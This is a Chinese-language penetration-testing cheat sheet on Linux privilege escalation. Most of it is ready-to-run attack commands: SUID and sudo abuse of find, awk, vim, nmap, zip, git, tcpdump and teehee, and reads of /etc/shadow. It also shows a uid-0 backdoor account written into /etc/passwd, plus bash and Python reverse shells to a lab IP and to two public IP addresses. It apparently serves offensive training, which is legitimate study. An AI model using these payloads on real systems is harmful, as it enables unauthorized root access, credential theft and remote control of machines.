权限提升

find提权

普通用户find命令提权

先查看find命令有没有提权的可能

姿势

姿势一

find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit

姿势二

touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;

姿势三

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
如果有find执行
touch test
find . -exec /bin/sh -p \; -quit
这时候,你就拥有了root权限的一个shell。

1. 查看find命令权限

方法 一、

# 1. 查看find命令位置
which find

# 2. 查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置

-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
# 有s 表示可以提权

方法 二、

# 用find 命令查找 有超级属性的文件

find / -perm -u=s -type f 2>/dev/null

2.假如find命令可提权 有s权限位

权限位 u + s

权限为 4xxx

# 查看是否可以用root 命令执行命令

find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行  whoami 命令。   
# find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;

可以直接执行命令

find /usr/bin/find -exec cat /etc/shadow \;

find `which find` -exec cat /etc/shadow ;

查看普通用户没有权限查看的文件。

3. 反弹shell

常规套路 ,2个机器。 一个开监听,一个执行反弹命令

用途 ip
攻击机(root 用户) 192.168.2.128 开监听
靶机(普通用户) 192.168.2.10 执行反弹shell 命令
3.1 开监听
# 监听 9919 端口
nc -lvvnp  9919
3.2 执行反弹shell 命令
# 用find 命令执行
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;

# python 方式反弹
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

-p : 让 euid 为0 , 权限为root 权限

默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。

3.3 验证
# 在反弹的shell 中 执行命令
bash-4.2# whoami
whoami
root
bash-4.2# id
id
uid=1005(zzzz) gid=1005(zzzz) euid=0(root) groups=1005(zzzz)

此shell 为不完整的shell, 升级交互式。

3.4 升级交互式shell

# 在反弹shell 上执行

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   
#使用python,升级交互shell

[root@localhost ~]# ^Z		     
# ctrl + z 按键  挂起正在运行的程序 

root@kali64:~# stty raw -echo	      
# 输入这句后 在输入命令终端不在显示 

root@kali64:~# fg		      
# 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车

[root@localhost ~]# reset

capabilities提权

https://www.cnblogs.com/f-carey/p/16026088.html

查找设置了capabilities的可执行文件

getcap -r / 2>/dev/null

sudo

首先用sudo -l找当前用户能否以管理员权限执行某些命令

mysql

(root) NOPASSWD: /usr/bin/mysql

直接用mysql -e

sudo mysql -e '\! /bin/sh '(这样子提权需要有一个交互式shell)
sudo mysql -e '\! whoami '(直接以root权限zhi)

靶机:bash -c 'sh -i &>/dev/tcp/110.40.177.201/7788 0>&1'
或者  bash -i >& /dev/tcp/8.130.69.158/7788 0>&1
或者  bash -c "bash -i >& /dev/tcp/8.130.69.158/7788 0>&1"

sudo提权的命令集合

提权命令:sudo awk 'BEGIN{system("/bin/bash")}' #awk

sudo find /home -exec /bin/bash \; #find

sudo cat /etc/shadow #cat我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解

#zip
1.创建一个1.txt,将其压缩为1.zip
2. sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash" 

# git
1.sudo git help add 
2.回车如下输入 !/bin/bash 

#ed
sudo ed
!/bin/sh

#vim
sudo vim -c'!sh'

#man
sudo man man
之后按!按下并按Enter

#lesssud
sudo less /etc/hosts 
之后按!按下并按Enter

#more
sudo more /etc/hosts
之后按!按下并按Enter

#nmap
echo "os.execute('/bin/sh')"> /tmp/shell.nse && sudo nmap --script = /tmp/shell.nse

#nano
#nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改pvimasswd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。
touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
sudo nano /sudetc/passwd #现在切换用户密码是:test
su touhid

#apache
使用它我们可以查看系统文件
sudo apache2 -f /etc/shadow

vi提权

可以用来进行rbash逃逸

google了下相关信息,大概学到了两种方法适用

一种是利用vi提权

先后==在vi的命令模式下==执行以下两条指令

:set shell=/bin/sh
:shell

git提权

1.在本地配置多个用户身份信息。您可以使用以下命令为您的 Git 配置添加多个用户身份:

git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"

在上述命令中,将 “Your Name” 和 “your-email@example.com” 替换为您想要使用的用户名和电子邮件地址。

2.在 Git 项目中使用另一个用户身份进行操作。要使用不同的用户身份进行 Git 操作,请使用以下命令:

git -c user.name="Another User" -c user.email="another-user@example.com" commit -m "Commit message"

在上述命令中,将 “Another User” 和 “another-user@example.com” 替换为您想要使用的另一个用户身份的用户名和电子邮件地址。请注意,在使用上述命令时,只会在该命令中使用指定的用户身份,不会更改您在全局 Git 配置中设置的默认用户身份。

需要注意的是,使用另一个用户身份进行 Git 操作需要在您有相应的权限的情况下进行。因此,必须确保您已获得所需的权限,并且使用其他用户身份进行 Git 操作不应用于恶意目的。

3.配合sudo

image-20230721001225087

sudo git help config
	!/bin/bash或者!'sh'完成提权
sudo git  -p help
	!/bin/bash

teehee提权

看看这个是干啥的,–help查看帮助

image-20230805221054346

注意到-a参数可以直接在文件末尾加上字符串

那么尝试往passwd写入一个账户

/etc/passwd 各个字段的含义:

username:password:User ID:Group ID:comment:home directory:shell

写入

dongyu::0:0:::/bin/bash

密码我们直接置空,uid和gid都是0,也就是root用户,也就是说覆盖了root账户,密码为0

sudo teehee -a /etc/passwd
dongyu::0:0:::/bin/bash
su dongyu

image-20230805222126217

suid

什么是SUID(来自P牛博客总结

通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。

ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:

root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的==所有者==是0号 root 或其他super user,同时拥有suid权限,才可以提权。

image-20230904213855055

==SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。==

已知的可用来提权的linux可行性的文件列表如下:

* nmap * vim * find * bash * more * less * nano * cp

查找具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

具体情况具体分析

https://pentestlab.blog/2017/09/25/suid-executables/

#Nmap
nmap -V
nmap --interactive #低版本的nmap可以使用进入交互界面

nmap> !sh
sh-3.2# whoami
root

---
nmap 新版
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
#vim
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
:shell #进入文本编辑器后执行

#find
touch pentestlab
find pentestlab -exec whoami \;

#Bash
bash -p

#nano 尽可以查看文件
nano  /etc/passwd

#apache2
apache2 -f /etc/shadow

#tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test;chmod +x /tmp/.test;sudo tcpdump -ln -i eth0 -w /dev/null -W 100 -G 1 -z /tmp/.test -Z root

nmap

第一种

直接创建一个脚本,利用nmap执行脚本获得一个root用户的shell

nmap以root运行
echo "os.execute('/bin/bash')">demon.nse
#nse是nmap的插件扩展名
sudo nmap --script=/home/jens/demon.nse

第二种

nmap --interactive即可得到交互式shell
nmap>!bash    or     !sh

定时任务

如果root用户定时执行某个文件,可以想办法更改这个文件,写入恶意命令或反弹shell

当root用户再次执行它,我们就拿到了root的shell

exim4

查看版本  exim4 --version
漏洞库搜索一下  searchsploit exim 4 
复制相关脚本到本地,再本地python搭个http服务,目标机shell上把脚本wget下来
0%